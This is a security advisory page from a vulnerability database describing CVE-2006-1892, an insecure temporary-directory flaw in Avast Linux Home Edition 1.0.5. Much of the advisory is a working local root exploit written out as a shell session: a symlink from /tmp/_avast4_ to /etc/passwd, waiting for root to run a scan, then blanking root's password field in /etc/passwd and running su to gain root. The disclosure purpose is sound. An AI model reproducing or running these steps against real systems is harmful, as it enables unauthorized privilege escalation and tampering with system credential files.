|
 |
| SecurityReason | ||
| WLB | ||
| Services | ||
| RSS | ||
| Corporate | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
Home  SecurityAlert Database |
||||
SecurityAlert : 712 CVE : CVE-2006-1892 SecurityRisk : Medium  (About) Remote Exploit : No Local Exploit : Yes Exploit Available : Yes Credit : Julien L. (jlanthea hotmail com) Published : 15.04.2006
Advisory Content : Title : Avast Linux Home Edition, vulnerability on a temporary folder creation Protuct : Avast! Linux Home Edition Product : http://www.avast.com/eng/download-avast-for-linux-edition.html Version : 1.0.5, 1.0.5-1 avast4workstation-1.0.5-1.i586.rpm avast4workstation-1.0.5.tar.gz Vuln Found : 2006-04-14 (tested on RedHat Entreprise 4 Update 3). Introduction : -------------- Avast Linux Home Edition represents an antivirus solution for the Linux platform. When it scans for virus, it creates a temporary directory in /tmp in an insecure manner and gives it an chmod equal to 1777. Exploit : --------- $ ls -l /etc/passwd -rw-r--r-- 1 root root 1476 avr 14 15:30 /etc/passwd $ ln -s /etc/passwd /tmp/_avast4_ $ ll /tmp/_avast4_ lrwxrwxrwx 1 user user 11 avr 14 16:43 /tmp/_avast4_ -> /etc/passwd ... Waiting for user root to scan for virus (example: # avast -d /bin) ... $ ls -l /etc/passwd -rwxrwxrwt 1 root root 1476 avr 14 15:55 /etc/passwd (Oops!) $ sed s/^root:x:/root::/ /etc/passwd > /tmp/a.out $ cat /tmp/a.out > /etc/passwd $ su - # id uid=0(root) gid=0(root) groupes=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) Note : ------ When the root user is launching avast for the first time, the "_avast4_" folder is not erased when virus scan is finished, so it may be difficult for a user to create the symbolic link. But we must not forget that distribs usualy clean there /tmp folder via the tmpwatch utility. Regards, Julian L. _________________________________________________________________ Express yourself instantly with MSN Messenger! Download today it's FREE! http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/  Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
||||
| Alert | ||
libc:fts_*() Multiple Denial of Service
The fts functions are provided for traversing UNIX file hierarchies... |
||
| Apache |  |
|
» Apache Tomcat 6.0.20 and |
||
» Apache Tomcat 6.0.20 and |
||
» Apache Tomcat 6.0.20 and |
||
| PHP | |
|
- 2009-10-02| Copyright © SecurityReason.com. All Rights Reserved. |